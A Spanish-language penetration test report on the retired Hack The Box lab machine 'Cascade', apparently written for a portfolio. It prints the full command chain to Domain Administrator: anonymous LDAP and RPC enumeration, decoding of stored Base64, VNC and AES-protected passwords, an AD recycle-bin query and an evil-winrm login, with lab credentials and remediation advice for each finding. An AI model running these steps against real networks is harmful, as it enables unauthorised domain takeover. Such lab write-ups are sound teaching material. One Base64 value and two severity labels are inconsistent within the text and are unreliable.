INFORME DE TEST DE INTRUSIÓN

CASCADE

Evaluación de Seguridad: Controlador de Dominio Active Directory y Gestión de Credenciales en Aplicaciones a Medida

Objetivo	10.129.60.223 (CASC-DC1.CASCADE.LOCAL)
Sistema operativo	Windows Server 2008 R2 SP1
Rol	Controlador de Dominio Active Directory (cascade.local)
Tipo de compromiso	Test de Intrusión Interno (caja negra)
Auditor	Álvaro Irún Brea, Domain Security
Fecha del informe	11 de septiembre de 2026
Referencia	DS-PT-2026-003
Clasificación	CONFIDENCIAL

Aviso de Confidencialidad

Este documento contiene información confidencial sobre la postura de seguridad del entorno evaluado. Está dirigido exclusivamente a la organización receptora y al personal autorizado. Los hallazgos describen vulnerabilidades que podrían aprovecharse para comprometer el entorno, por lo que su distribución debe restringirse. Este informe corresponde a un ejercicio de laboratorio realizado contra la máquina retirada de Hack The Box "Cascade", redactado como informe profesional de test de intrusión para demostrar metodología, estándares de reporte y guía de remediación.

Índice

1. Resumen Ejecutivo

Se realizó un test de intrusión interno contra un Controlador de Dominio Active Directory con Windows Server 2008 R2 (cascade.local). El ejercicio simuló a un atacante sin autenticar que ha conseguido acceso a la red interna, sin credenciales previas ni conocimiento del entorno.

La evaluación terminó en compromiso total del dominio. Partiendo de cero credenciales, el auditor enumeró la lista de usuarios del dominio de forma anónima, recuperó una credencial funcional a partir de un atributo de directorio no estándar dejado por una migración de contraseñas antigua, y la usó para encadenar el acceso a través de varios artefactos en recursos compartidos, una configuración de VNC protegida únicamente por una clave de cifrado fija y públicamente conocida, y una aplicación de auditoría a medida cuya propia clave de cifrado estaba embebida en el binario. Esa cadena terminó alcanzando una cuenta de servicio con permisos delegados sobre la papelera de reciclaje de Active Directory, que contenía una cuenta temporal de migración eliminada pero no purgada, la cual seguía llevando el mismo atributo de contraseña heredada, esta vez con una contraseña compartida con la cuenta real de Administrator del dominio.

En ningún punto de esta cadena hizo falta un exploit ni un 0-day. El hilo común es la protección de credenciales artesanal y reversible, en lugar de una gestión de secretos real: un atributo de directorio a medida en vez de un almacén de credenciales apropiado, un esquema de ofuscación de clave fija con décadas de antigüedad en vez de no guardar la contraseña, y una clave de cifrado embebida en la aplicación en vez de un secreto gestionado. Cada eslabón era recuperable individualmente con herramientas básicas; juntos entregaron el Administrator del dominio.

Valoración global del riesgo: CRÍTICO

Dado que un atacante sin credenciales de partida logró alcanzar el control administrativo total del dominio partiendo de puntos de entrada completamente anónimos o de bajo privilegio, el riesgo global del entorno se valora como CRÍTICO.

Hallazgos de un vistazo

ID	Hallazgo	Severidad	CVSS
F-01	Enumeración anónima de usuarios del dominio vía RPC y LDAP	MEDIO	5.3
F-02	Credencial funcional recuperable de un atributo de directorio a medida	ALTO	7.5
F-03	Contraseña de VNC protegida solo por una clave de cifrado fija y conocida	ALTO	6.5
F-04	Clave de cifrado embebida en una aplicación interna a medida	ALTO	6.5
F-05	Compromiso total del dominio vía papelera de reciclaje de AD y reutilización de contraseña en una cuenta de migración	CRÍTICO	9.8

2. Alcance y Metodología

2.1 Alcance

El ejercicio se limitó a un único objetivo en alcance, evaluado desde la perspectiva de un atacante situado en la red interna sin credenciales previas ni conocimiento del entorno (caja negra).

- **En alcance:** 10.129.60.223 (CASC-DC1.CASCADE.LOCAL)
- **Excluido:** quedaron fuera de alcance las pruebas de denegación de servicio, ingeniería social y ataques físicos.
- **Reglas de compromiso:** las pruebas estaban autorizadas únicamente contra este objetivo; toda la actividad fue no destructiva.

2.2 Metodología

La evaluación siguió un ciclo de vida estándar de test de intrusión alineado con PTES (Penetration Testing Execution Standard) y la mentalidad de enumeración primero propia de los entornos Active Directory:

- **Reconocimiento y enumeración**: escaneo completo de puertos TCP, identificación de servicios/versiones y del rol del host en el dominio.
- **Enumeración no autenticada**: sesión nula RPC y bind LDAP anónimo para recuperar la lista de usuarios y, de forma decisiva, un volcado completo sin filtrar de atributos en vez de un único campo.
- **Acceso inicial**: decodificación de un atributo de directorio no estándar hasta obtener una credencial funcional.
- **Movimiento lateral**: enumeración de recursos compartidos y recuperación de dos credenciales más, protegidas únicamente por esquemas de cifrado reversibles, artesanales o de clave públicamente conocida.
- **Escalada de privilegios**: abuso de una pertenencia delegada sobre la papelera de reciclaje de Active Directory para alcanzar una cuenta de migración eliminada cuya credencial seguía siendo recuperable.
- **Reporte**: documentación de cada hallazgo con evidencia, impacto, puntuación CVSS y remediación.

2.3 Herramientas

Se emplearon las siguientes herramientas estándar del sector: Nmap (escaneo de puertos y detección de servicios), rpcclient y enum4linux-ng (enumeración RPC/SMB por sesión nula), Kerbrute (validación de nombres de usuario), NetExec (pruebas de autenticación y enumeración de recursos compartidos), ldapsearch (enumeración LDAP anónima, incluyendo volcados completos sin filtrar), smbclient y evil-winrm (acceso SMB y WinRM), el módulo de PowerShell de Active Directory (consultas a la papelera de reciclaje), y Python con PyCryptodome para reproducir las propias rutinas de descifrado VNC y AES del objetivo, tras recuperar sus claves mediante análisis estático de binarios (strings).

3. Narrativa del Ataque

Esta sección recorre la cadena de ataque completa en el orden en que se ejecutó, mostrando cómo cinco debilidades independientes se combinaron para escalar de cero acceso a compromiso total del dominio. Cada debilidad numerada se documenta en detalle en la Sección 4.

3.1 Reconocimiento

Un escaneo completo de puertos TCP identificó el host como un Controlador de Dominio Active Directory del dominio cascade.local, sobre una base Windows Server 2008 R2 ya antigua.

```
nmap -sC -sV -p- -oN nmap-cascade.txt 10.129.60.223

53/tcp   open  domain        Microsoft DNS
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: cascade.local)
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
```

3.2 Enumeración no autenticada (F-01)

RPC aceptó sesión nula y LDAP aceptó bind anónimo, ambos revelando las cuentas de usuario del dominio. De forma decisiva, LDAP también permitió un volcado completo y sin filtrar de todos los atributos de cada objeto de usuario, no solo los campos estándar de una consulta dirigida.

```
rpcclient -U "" -N 10.129.60.223 -c enumdomusers
  [15 cuentas de usuario del dominio enumeradas]

ldapsearch -x -H ldap://10.129.60.223 -b "dc=cascade,dc=local" "(objectClass=user)"
  [volcado completo de atributos de cada objeto de usuario]
```

3.3 Acceso inicial: un atributo de credencial heredada (F-02)

El volcado LDAP sin filtrar reveló un atributo no estándar, propio de la organización, llamado *cascadeLegacyPwd* en una cuenta de usuario, con un valor codificado en Base64. Decodificarlo directamente entregó la contraseña funcional de esa cuenta, sin necesidad de crackeo alguno.

```
cascadeLegacyPwd: clk0bjVldmE=
$ echo 'clk0bjVldmE=' | base64 -d
rY4n5eva
  -> r.thompson:rY4n5eva (válida por SMB)
```

3.4 Movimiento lateral I: una configuración de VNC (F-03)

La cuenta recuperada podía leer un recurso compartido general, incluyendo la carpeta de perfil temporal de un empleado de IT, que contenía una exportación de registro del servidor VNC. VNC ofusca su contraseña guardada con una clave DES fija y públicamente conocida en lugar de un secreto real, así que el valor se descifró directamente en una segunda credencial funcional.

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Descifrado DES-ECB con la clave fija conocida de VNC (e84ad660c4721ae0)
  -> s.smith:sT333ve2
```

3.5 Movimiento lateral II: clave embebida en una aplicación a medida (F-04)

La segunda cuenta desbloqueó otro recurso compartido que alojaba una pequeña aplicación de auditoría interna a medida, su propia librería de cifrado, y la base de datos SQLite sobre la que operaba. La base de datos guardaba la contraseña de una cuenta de servicio cifrada con AES, pero la clave AES y el vector de inicialización estaban embebidos directamente en los propios binarios de la aplicación, recuperables a simple vista con análisis estático básico.

```
sqlite3 Audit.db ".dump"
  INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local')

strings -el CascCrypto.dll  ->  1tdyjCbY1Ix49842  (IV)
strings -el CascAudit.exe   ->  c4scadek3y654321  (Key)

Descifrado AES-128-CBC -> ArkSvc:w3lc0meFr31nd
```

3.6 Escalada de privilegios a Domain Administrator (F-05)

La cuenta de servicio pertenecía a un grupo a medida con permisos delegados para ver objetos eliminados del directorio. Una cuenta temporal creada para una migración de red pasada había sido movida a la papelera de reciclaje en vez de purgarse por completo, y seguía llevando el mismo atributo de credencial heredada visto en el paso 3.3, esta vez con una contraseña documentada internamente como idéntica a la de la cuenta real de Administrator del dominio en aquel momento.

```
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
  TempAdmin  cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

evil-winrm -i 10.129.60.223 -u Administrator -p 'baCT3r1aN00dles'
  -> compromiso total del dominio confirmado
```

4. Hallazgos Detallados

F-01: Enumeración anónima de usuarios del dominio vía RPC y LDAP

Severity	**MEDIO** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	Servicios RPC (445) y LDAP (389) del Controlador de Dominio

Description

El Controlador de Dominio aceptó una sesión nula RPC y un bind LDAP anónimo, permitiendo a un atacante sin autenticar enumerar la lista completa de cuentas de usuario del dominio. De forma decisiva, LDAP también permitió un volcado completo y sin filtrar de todos los atributos de cada objeto de usuario, no solo los campos estándar devueltos por una consulta dirigida.

Evidence

```
rpcclient -U "" -N 10.129.60.223 -c enumdomusers
  [15 cuentas de usuario del dominio enumeradas]

ldapsearch -x -H ldap://10.129.60.223 -b "dc=cascade,dc=local" "(objectClass=user)"
  [volcado completo de atributos devuelto sin credenciales]
```

Impact

Divulgación de la lista completa de usuarios del dominio y, al ser la consulta LDAP sin filtrar, de cualquier atributo a medida configurado en esas cuentas. Esto habilitó directamente la exposición de credenciales descrita en F-02.

Remediation

- Restringir el bind LDAP anónimo y el acceso por sesión nula RPC/SMB en todos los Controladores de Dominio.
- Revisar los descriptores de seguridad de la interfaz LDAP y auditar excepciones heredadas de acceso anónimo.
- Monitorizar intentos de enumeración anónima por LDAP/SMB/RPC.

References

- MITRE ATT&CK T1087: Account Discovery

F-02: Credencial funcional recuperable de un atributo de directorio a medida

Severity	**ALTO** **(7.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected asset	Atributo cascadeLegacyPwd en objetos de usuario del dominio

Description

Un atributo LDAP no estándar, propio de la organización (cascadeLegacyPwd), aparentemente sobrante de una migración de contraseñas antigua, guardaba un valor codificado en Base64 en un objeto de usuario. Base64 es una codificación, no un cifrado, así que el valor se decodificó directamente en la contraseña funcional de esa cuenta, sin crackeo ni fuerza bruta, y era legible por cualquier usuario sin autenticar gracias al bind LDAP anónimo identificado en F-01.

Evidence

```
cascadeLegacyPwd: c1k0bjV1dmE=
$ echo 'c1k0bjV1dmE=' | base64 -d
rY4n5eva
```

Impact

Un atacante sin autenticar obtiene una credencial de dominio real y funcional con un esfuerzo nulo más allá de decodificar una cadena de texto. Este fue el punto de apoyo inicial para el resto de la evaluación.

Remediation

- Eliminar el atributo cascadeLegacyPwd y cualquier valor que siga presente en objetos activos o eliminados.
- No guardar nunca credenciales, codificadas o no, en atributos de directorio a medida; usar un almacén de secretos gestionado.
- Completar la migración de contraseñas para la que aparentemente se creó este atributo, y auditar el dominio en busca de otros almacenes de credenciales heredados u olvidados.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- MITRE ATT&CK T1087: Account Discovery

F-03: Contraseña de VNC protegida solo por una clave de cifrado fija y conocida

Severity	**ALTO** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	Recurso compartido Data (SMB); configuración de registro de TightVNC exportada

Description

Un recurso compartido accesible con la credencial de F-02 contenía una exportación de registro del servidor VNC con el campo de contraseña relleno. Los productos VNC ofuscan este valor con una clave DES fija, idéntica en todas las instalaciones y pública desde hace años, por lo que no ofrece ninguna confidencialidad real una vez expuesto el valor codificado.

Evidence

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Descifrado DES-ECB con clave fija e84ad660c4721ae0
  -> s.smith:sT333ve2
```

Impact

Recuperación de una segunda credencial de dominio, más útil, habilitando más movimiento lateral (ver F-04). Cualquier configuración de VNC exportada y accesible a un atacante debe tratarse como una contraseña en texto plano expuesta.

Remediation

- Eliminar o restringir el acceso a ficheros de registro de VNC exportados; nunca deberían dejarse en un recurso compartido de propósito general.
- Deshabilitar VNC donde no sea operativamente necesario, o sustituirlo por un método de autenticación que no dependa de una clave fija propia del fabricante.
- Auditar los recursos compartidos en busca de otras exportaciones de configuración (RDP, clientes de bases de datos, herramientas de despliegue) que puedan contener credenciales igualmente débiles o reversibles.

References

- MITRE ATT&CK T1552.001: Unsecured Credentials: Credentials In Files

F-04: Clave de cifrado embebida en una aplicación interna a medida

Severity	**ALTO** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	Recurso compartido Audit$; aplicación a medida CascAudit.exe / CascCrypto.dll y su base de datos SQLite

Description

Un segundo recurso compartido alojaba una aplicación de auditoría interna a medida, su librería de cifrado de soporte, y la base de datos SQLite sobre la que operaba. La base de datos guardaba la contraseña de una cuenta de servicio cifrada con AES, pero la clave AES y el vector de inicialización estaban embebidos directamente en los propios binarios de la aplicación y eran recuperables con análisis estático básico, sin necesidad de ingeniería inversa adicional de la lógica de cifrado.

Evidence

```
sqlite3 Audit.db ".dump"
  INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local')

strings -el CascCrypto.dll  ->  1tdyjCbY1Ix49842  (IV)
strings -el CascAudit.exe   ->  c4scadek3y654321  (Clave)

Descifrado AES-128-CBC -> ArkSvc:w3lc0meFr31nd
```

Impact

Compromiso completo de la credencial de la cuenta de servicio, que a su vez llevaba permisos delegados sobre la papelera de reciclaje de Active Directory, el punto de pivote hacia el compromiso total del dominio (ver F-05).

Remediation

- No embeber nunca claves criptográficas ni vectores de inicialización en binarios de aplicación; obtenerlos en tiempo de ejecución desde un almacén de secretos gestionado o un mecanismo protegido del sistema operativo (por ejemplo DPAPI).
- Restringir el acceso al recurso compartido Audit$ únicamente a la cuenta de servicio y a administradores dedicados.
- Rotar la credencial de ArkSvc y revisar la aplicación de auditoría en busca de más secretos embebidos.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- CWE-321: Use of Hard-coded Cryptographic Key

F-05: Compromiso total del dominio vía papelera de reciclaje de AD y reutilización de contraseña en una cuenta de migración

Severity	**CRÍTICO** **(9.8)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected asset	Papelera de reciclaje de Active Directory (contenedor Deleted Objects); cuenta TempAdmin; cuenta Administrator del dominio

Description

La cuenta de servicio comprometida pertenecía a un grupo a medida con permisos delegados para ver objetos en la papelera de reciclaje de Active Directory. Una cuenta temporal creada para una migración de red pasada (TempAdmin) se había eliminado al terminar ese proyecto, pero solo se movió a la papelera de reciclaje, sin purgarse por completo, dejándola, junto con todos sus atributos, totalmente legible. Seguía llevando el mismo atributo de credencial heredada identificado en F-02, y la documentación interna confirmaba que su contraseña era, en aquel momento, idéntica a la de la cuenta real de Administrator del dominio.

Evidence

```
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
  TempAdmin  cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

evil-winrm -i 10.129.60.223 -u Administrator -p 'baCT3r1aN00dles'
  -> compromiso total del dominio confirmado
```

Impact

Compromiso completo e irreversible de todo el dominio de Active Directory: un atacante obtiene control total sobre todas las cuentas, todos los equipos unidos al dominio y todos los datos, y puede establecer persistencia extremadamente difícil de erradicar.

Remediation

- Purgar por completo el objeto eliminado TempAdmin y cualquier otra cuenta obsoleta recuperable de la papelera de reciclaje.
- Tratar los permisos delegados sobre la papelera de reciclaje como sensibles de nivel tier-0; restringir y auditar la pertenencia de cualquier grupo que los tenga.
- No reutilizar nunca una contraseña entre una cuenta temporal o de migración y una cuenta administrativa real, ni siquiera brevemente.
- Rotar la contraseña de Administrator y revisar todos los eventos de autenticación recientes en busca de indicios de abuso.

References

- MITRE ATT&CK T1078.002: Valid Accounts: Domain Accounts
- MITRE ATT&CK T1552: Unsecured Credentials

5. Recomendaciones

Las siguientes acciones priorizadas romperían la cadena de ataque demostrada. Como cada eslabón es independiente, remediar aunque sea un subconjunto reduce el riesgo de forma sustancial; abordarlos todos elimina por completo la vía demostrada hacia el compromiso del dominio.

Inmediatas (romper la cadena de ataque ya)

- Rotar todas las credenciales recuperadas durante esta evaluación, incluida la cuenta de Domain Administrator.
- Eliminar el atributo *cascadeLegacyPwd* (y cualquier atributo a medida similar) del esquema o, como mínimo, purgar sus valores en todos los objetos, incluidos los eliminados que sigan en la papelera de reciclaje.
- Purgar por completo el objeto eliminado *TempAdmin* en vez de dejarlo recuperable, y revisar la papelera de reciclaje de AD en busca de otras cuentas privilegiadas obsoletas.
- Deshabilitar VNC en este host si no es operativamente necesario, o migrar a un esquema de autenticación que no dependa de una clave de ofuscación fija y públicamente documentada.
- Eliminar la clave de cifrado embebida de la aplicación de auditoría a medida y rotar cualquier credencial que proteja.

Estratégicas (endurecer el entorno)

- Deshabilitar el bind LDAP anónimo y el acceso por sesión nula RPC/SMB en todos los Controladores de Dominio.
- Prohibir la práctica de guardar credenciales, codificadas o no, en atributos de directorio a medida; usar en su lugar un almacén de secretos gestionado.
- Establecer un estándar de desarrollo seguro para herramientas internas que prohíba claves criptográficas embebidas; obtener secretos en tiempo de ejecución desde un almacén gestionado o un mecanismo protegido a nivel de sistema operativo (por ejemplo DPAPI, o un secreto respaldado por un KMS).
- Tratar los permisos delegados sobre la papelera de reciclaje de Active Directory como sensibles de nivel tier-0, y auditar la pertenencia de cualquier grupo que los tenga.
- Establecer un proceso formal de baja para cuentas temporales o de migración que incluya rotar la contraseña de cualquier cuenta que en algún momento la haya compartido, no solo eliminar la propia cuenta.

Apéndice A: Valoraciones y Aviso Legal

A.1 Valoraciones de severidad

Los hallazgos se puntúan usando CVSS v3.1. Las bandas de severidad se interpretan de la siguiente forma:

Severidad	CVSS	Interpretación
Crítico	9.0 – 10.0	Vía trivial hacia el compromiso total; remediar de inmediato.
Alto	7.0 – 8.9	Riesgo significativo; remediar como prioridad.
Medio	4.0 – 6.9	Riesgo relevante, típicamente como parte de una cadena; programar remediación.
Bajo	0.1 – 3.9	Impacto limitado; remediar según recursos disponibles.

A.2 Aviso Legal

Este informe refleja la postura de seguridad del objetivo en el momento de la prueba y no garantiza la ausencia de otras vulnerabilidades. Documenta un ejercicio de laboratorio contra la máquina retirada de Hack The Box "Cascade", elaborado como informe de test de intrusión en formato profesional con fines de portfolio y educativos. Todas las pruebas estuvieron autorizadas dentro de los términos de servicio de la plataforma Hack The Box.